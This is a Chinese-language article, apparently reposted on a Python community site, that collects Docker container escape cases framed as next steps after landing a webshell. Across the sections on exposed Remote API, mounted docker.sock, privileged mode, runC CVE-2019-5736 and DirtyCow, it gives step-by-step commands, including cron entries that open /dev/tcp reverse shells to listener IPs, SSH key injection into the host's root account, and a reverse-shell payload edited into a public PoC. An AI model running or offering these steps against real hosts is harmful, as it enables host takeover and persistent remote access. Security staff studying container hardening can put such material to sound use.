社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  docker

技术干货 | Docker 容器逃逸案例汇集

Bypass • 4 年前 • 608 次点击  

当获得一个Webshell,我们的攻击点可能处于服务器的一个虚拟目录里,一台虚拟机或是一台物理机,甚至是在一个Docker容器里。

假设,Webshell就处于Docker容器里,该如何破局,进一步获取目标主机权限呢?


Docker 容器逃逸案例:

1、判断是否处于docker容器里

2、配置不当引起的逃逸

  • Docker Remote API 未授权访问

  • docker.sock 挂载到容器内部

  • docker 高危启动参数

    • privileged 特权模式

    • 挂载敏感目录

    • 相关启动参数存在的安全问题

3、Docker 软件设计引起的逃逸

  • Shocker攻击

  • runC容器逃逸漏洞(CVE-2019-5736)

  • Docker cp 命令(CVE-2019-14271)

4、内核漏洞引起的逃逸

  • 脏牛漏洞(dirtycow-docker-vdso)



一、判断是否在docker容器里

首先,我们需要先判断是否在docker环境里,常用的两个检测方式:

检查/.dockerenv文件是否存在检查/proc/1/cgroup内是否包含"docker"等字符串。

目前来说,这两种检测方式还是比较有效的,其他检测方式,如检测mountfdisk -l查看硬盘 判断PID 1的进程名等也可用来辅助判断。

二、配置不当引发的docker逃逸

2.1  docker remote api未授权访问

漏洞简述:docker remote api可以执行docker命令,docker守护进程监听在0.0.0.0,可直接调用API来操作docker。

sudo dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375

通过docker daemon api 执行docker命令。

#列出容器信息,效果与docker ps一致。curl http://:2375/containers/json
#启动容器docker -H tcp://:2375 ps -a

漏洞利用:

1、新运行一个容器,挂载点设置为服务器的根目录挂载至/mnt目录下。

sudo docker -H tcp://10.1.1.211:2375 run -it -v /:/mnt nginx:latest /bin/bash

2、在容器内执行命令,将反弹shell的脚本写入到/var/spool/cron/root




    
echo '* * * * * /bin/bash -i >& /dev/tcp/10.1.1.214/12345 0>&1' >> /mnt/var/spool/cron/crontabs/root

3、本地监听端口,获取对方宿主机shell。


2.2 docker.sock挂载到容器内部

场景描述:简单来说就是docker in docker,在docker容器中调用和执行宿主机的docker,将docker宿主机的docker文件和docker.sock文件挂载到容器中,具体为:

docker run --rm -it \  -v /var/run/docker.sock:/var/run/docker.sock \  -v /usr/bin/docker:/usr/bin/docker \  ubuntu \  /bin/bash

漏洞测试:

1、在容器中找到docker.sock

root@95a280bc5a19:/# find / -name docker.sock/run/docker.sock

2、在容器查看宿主机docker信息:

docker -H unix:///var/run/docker.sock info

3、运行一个新容器并挂载宿主机根路径:

docker -H unix:///var/run/docker.sock run -it -v /:/test ubuntu /bin/bash

4、在新容器的/test 目录下,就可以访问到宿主机的全部资源,接下来就是写入ssh密钥或者写入计划任务,获取shell。

ls -al /test


2.3 docker 高危启动参数

docker中存在一些比较高危的启动命令,给予容器较大的权限,允许执行一些特权操作,在一定的条件下,可以导致容器逃逸。

docker run --rm -it     --privileged     -v /:/soft     --cap-add=SYS_ADMIN     --net=host      --pid=host        --ipc=host     ubuntu     /bin/bash

特权模式(—privileged)

使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。

漏洞测试:

A、通过特权模式运行一个容器:

sudo docker run -itd --privileged ubuntu:latest /bin/bash

B、在容器内,查看磁盘文件

fdisk -l

C、将/dev/sda1 挂载到新建目录

mkdir /testmount /dev/sda1 /test

D、将计划任务写入到宿主机

echo '* * * * * /bin/bash -i >& /dev/tcp/192.168.172.136/12345 0>&1' >> /test/var/spool/cron/crontabs/root

E、开启nc监听,成功获取宿主机反弹回来的shell。


挂载敏感目录(-v /:/soft)

漏洞测试:

1、将宿主机root目录挂载到容器

docker run -itd -v /root:/root ubuntu:18.04 /bin/bash

2、模拟攻击者写入ssh密钥

mkdir /root/.sshcat id_rsa.pub >> /root/.ssh/authorized_keys


    

3、利用私钥成功登录。获取宿主机权限。


相关启动参数存在的安全问题:

Docker 通过Linux namespace实现6项资源隔离,包括主机名、用户权限、文件系统、网络、进程号、进程间通讯。但部分启动参数授予容器权限较大的权限,从而打破了资源隔离的界限。

--cap-add=SYS_ADMIN  启动时,允许执行mount特权操作,需获得资源挂载进行利用。--net=host           启动时,绕过Network Namespace--pid=host              启动时,绕过PID Namespace--ipc=host              启动时,绕过IPC Namespace


三、Docker 软件设计引起的逃逸

3.1 Shocker 攻击

在容器逃逸案例中,最为著名的是shocker攻击,其通过调用open_by_handle_at函数对宿主机文件系统进行暴力扫描,以获取宿主机的目标文件内容。由于Docker1.0之前版本对容器能力(Capability)使用黑名单策略进行管理,并没有限制CAP_DAC_READ_SEARCH能力,赋予了shocker.c程序调用open_by_handle_at函数的能力,导致容器逃逸的发生。

漏洞影响版本:Docker版本< 1.0, 存在于 Docker 1.0 之前的绝大多数版本。

github项目地址:

https://github.com/gabrtv/shocker

3.2 runC容器逃逸漏洞(CVE-2019-5736)

漏洞简述:

Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6,因此允许攻击者重写宿主机上的runc 二进制文件,攻击者可以在宿主机上以root身份执行命令。

利用条件:

Docker版本 < 18.09.2,runc版本< 1.0-rc6,一般情况下,可通过 docker 和docker-runc 查看当前版本情况。

漏洞测试:

1、测试环境镜像下载安装:

curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh

2、下载POC,修改脚本,编译

下载pocgit clone https://github.com/Frichetten/CVE-2019-5736-PoC
#修改Payloadvi main.gopayload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.172.136/1234 0>&1"
编译生成payloadCGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
拷贝到docker容器中执行 sudo docker cp ./main 248f8b7d3c45:/tmp

3、模仿攻击者,在容器中执行payload

# 进入容器sudo docker exec -it 248f8b7d3c45 /bin/bash
# 修改权限chmod 777 main
# 执行Payload./main

4、假设,管理员通过exec进入容器,从而触发Payload。

sudo docker exec -it  cafa20cfb0f9 /bin/sh

5、在192.168.172.136上监听本地端口,成功获取宿主机反弹回来的shell


3.3 Docker cp命令可导致容器逃逸攻击漏洞(CVE-2019-14271)

漏洞描述:

当Docker宿主机使用cp命令时,会调用辅助进程docker-tar,该进程没有被容器化,且会在运行时动态加载一些libnss*.so库。黑客可以通过在容器中替换libnss*.so等库,将代码注入到docker-tar中。当Docker用户尝试从容器中拷贝文件时将会执行恶意代码,成功实现Docker逃逸,获得宿主机root权限。

影响版本:Docker 19.03.0

安全版本:升级至安全版本 Docker 19.03.1及以上。


四、内核漏洞引起的逃逸

4.1 利用DirtyCow漏洞实现Docker逃逸

漏洞简述:

Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,通过它可实现Docker容器逃逸,获得root权限的shell。

漏洞测试:

1、环境准备:

docker与宿主机共享内核,因此我们需要存在dirtyCow漏洞的宿主机镜像。这里,我们使用ubuntu-14.04.5来复现。

2、测试容器下载并运行:

git clone https://github.com/gebl/dirtycow-docker-vdso.gitcd dirtycow-docker-vdso/sudo docker-compose run dirtycow /bin/bash

3、进入容器,编译POC并执行:

cd /dirtycow-vdso/make./0xdeadbeef 192.168.172.136:1234

4、在192.168.172.136监听本地端口,成功接收到宿主机反弹的shell。

加入我的知识星球,获取更多安全干货。

Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/72079
 
608 次点击